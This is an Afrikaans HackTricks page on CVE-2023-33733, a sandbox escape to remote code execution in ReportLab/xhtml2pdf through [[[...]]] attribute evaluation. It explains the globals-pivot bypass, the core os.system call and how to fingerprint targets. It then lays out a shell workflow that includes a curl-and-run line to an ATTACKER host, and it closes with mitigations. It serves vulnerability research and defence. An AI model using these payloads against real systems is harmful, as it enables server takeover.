ReportLab/xhtml2pdf [[[...]]] uitdrukking-evaluering RCE (CVE-2023-33733)

Reading time: 6 minutes

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks

Hierdie bladsy dokumenteer 'n praktiese sandbox-ontsnapping en RCE-primitive in ReportLab se rl_safe_eval, gebruik deur xhtml2pdf en ander PDF-generasie-pipelines wanneer gebruiker-gestuurde HTML in PDF's gerender word.

CVE-2023-33733 raak ReportLab-weergawes tot en met 3.6.12. In sekere attribuutkontekste (byvoorbeeld color) word waardes wat in drievoudige hakies [[[ ... ]]] geplaas is server-side deur rl_safe_eval geëvalueer. Deur 'n payload te maak wat vanaf 'n witgelysde builtin (pow) na sy Python-funksie globals pivoteer, kan 'n aanvaller die os-module bereik en opdragte uitvoer.

Hoofpunte

  • Trigger: inject [[[ ... ]]] in geëvalueerde attribuutte soos binne merkode wat deur ReportLab/xhtml2pdf gepars word.
  • Sandbox: rl_safe_eval vervang gevaarlike builtins, maar geëvalueerde funksies openbaar steeds globals.
  • Bypass: skep 'n tydelike klas Word om rl_safe_eval se naamkontroles te omseil en die string "globals" te bekom terwyl geblokkeerde dunder-filtering vermy word.
  • RCE: getattr(pow, Word("globals"))["os"].system("")
  • Stability: Gee 'n geldige waarde vir die attribuut terug ná die uitvoering (vir color, gebruik byvoorbeeld 'red').

Wanneer om te toets

  • Aansoeke wat HTML-na-PDF-eksport openbaar (profiele, fakture, verslae) en xhtml2pdf/ReportLab in PDF-metagedata of HTTP-respons-kommentare vertoon.
  • exiftool profile.pdf | egrep 'Producer|Title|Creator' → "xhtml2pdf" producer
  • HTTP-respons vir PDF begin dikwels met 'n ReportLab-generatoropmerking

Hoe die sandbox-omseiling werk

  • rl_safe_eval verwyder of vervang baie builtins (getattr, type, pow, ...) en pas naamfiltering toe om attributte wat met __ begin of in 'n denylist is te weier.
  • Hierdie veilige funksies leef egter in 'n globals-dictionary wat toeganklik is as func.globals.
  • Gebruik type(type(1)) om die werklike builtin type-funksie te herstel (om ReportLab se wrapper te omseil), en definieer dan 'n Word-klas wat van str aflei met gemuteerde vergelykingsgedrag sodat:
  • .startswith('') → altyd False (omseil naam startswith('') kontrole)
  • .eq gee slegs by die eerste vergelyking False terug (omseil denylist-lidmaatskapkontroles) en True daarna (sodat Python getattr werk)
  • .hash gelyk aan hash(str(self))
  • Hiermee gee getattr(pow, Word('globals')) die globals-dictionary van die omlêende pow-funksie terug, wat 'n geïmporteerde os-module insluit. Dan: ['os'].system('').

Minimale eksploit-patroon (attribuutvoorbeeld) Place payload inside an evaluated attribute and ensure it returns a valid attribute value via boolean and 'red'.

exploit

  • Die lys-komprehensievorm laat 'n enkele uitdrukking toe wat deur rl_safe_eval aanvaarbaar is.
  • Die agtervoegsel and 'red' gee 'n geldige CSS-kleur terug sodat die rendering nie breek nie.
  • Vervang die opdrag soos nodig; gebruik ping om uitvoering met tcpdump te verifieer.

Operasionele werkvloei

  1. Identifiseer die PDF-generator
  • PDF Producer wys xhtml2pdf; HTTP-respons bevat ReportLab-opmerking.
  1. Vind 'n inset wat in die PDF gereflekteer word (bv. profile bio/description) en trigger 'n eksport.
  2. Verifieer uitvoering met lae-ruis ICMP
  • Run: sudo tcpdump -ni icmp
  • Payload: ... system('ping <your_ip>') ...
  • Windows stuur dikwels presies vier echo-versoeke standaard.
  1. Vestig 'n shell
  • Vir Windows is 'n betroubare twee-fase benadering beter om aanhaling-/koderingproblème te vermy:
  • Fase 1 (aflaai):

exploit

  • Fase 2 (uitvoer):

exploit

  • Vir Linux-doelwitte is 'n soortgelyke twee-fase met curl/wget moontlik:
  • system('curl http://ATTACKER/s.sh -o /tmp/s; sh /tmp/s')

Notas en wenke

  • Attribuutkontekste: color is 'n bekende geëvalueerde attribuut; ander attributte in ReportLab-markup kan ook uitdrukkings evalueer. As een plek gesaniteer is, probeer ander plekke wat in die PDF-stroom gerender word (verskillende velde, tabelstyle, ens.).
  • Aanhaling: Hou opdragte kompakt. Twee-fase aflaaie verminder drasties aanhaling- en ontsnappingsprobleme.
  • Betroubaarheid: As uitvoere in kas of rye geplaas word, varieer effens die payload (bv. 'n ewekansige pad of query) om te verhoed om kas te tref.

Mitigasies en opsporing

  • Werk ReportLab op na 3.6.13 of later (CVE-2023-33733 reggestel). Volg ook sekuriteitsadvies in distro-pakkette.
  • Moet nie gebruiker-gestuurde HTML/markup direk in xhtml2pdf/ReportLab invoer sonder streng sanitisering nie. Verwyder/weier [[[...]]] evaluasie-konstruksies en vendor-spesifieke tags wanneer insette onbetroubaar is.
  • Oorweeg om rl_safe_eval-gebruik heeltemal uit te skakel of te wrap vir onbetroubare insette.
  • Monitor vir verdagte uitgaande verbindings tydens PDF-generasie (bv. ICMP/HTTP vanaf app-bedieners tydens uitvoer van dokumente).

Verwysings

tip

Leer en oefen AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Leer en oefen GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Leer en oefen Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Ondersteun HackTricks